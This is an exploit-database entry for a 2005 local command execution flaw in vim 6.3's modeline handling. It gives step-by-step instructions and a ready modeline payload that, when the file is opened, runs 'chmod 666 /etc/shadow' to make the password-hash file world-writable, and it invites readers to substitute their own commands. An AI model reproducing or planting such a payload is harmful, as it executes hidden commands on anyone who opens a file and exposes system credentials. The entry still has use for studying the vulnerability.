vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit

ID SSV:63177
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


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                                                1) open up a text file.

2) insert at the top the information (below).

/* vim: foldmethod=expr:foldexpr=glob("`chmod\ 666\ /etc/shadow`") */

3) if modlines = on anyone that opens the file with vim will execute the command:
   chmod 666 /etc/shadow
Have fun making your own commands.

The advisory can be found at:


# [2005-07-25]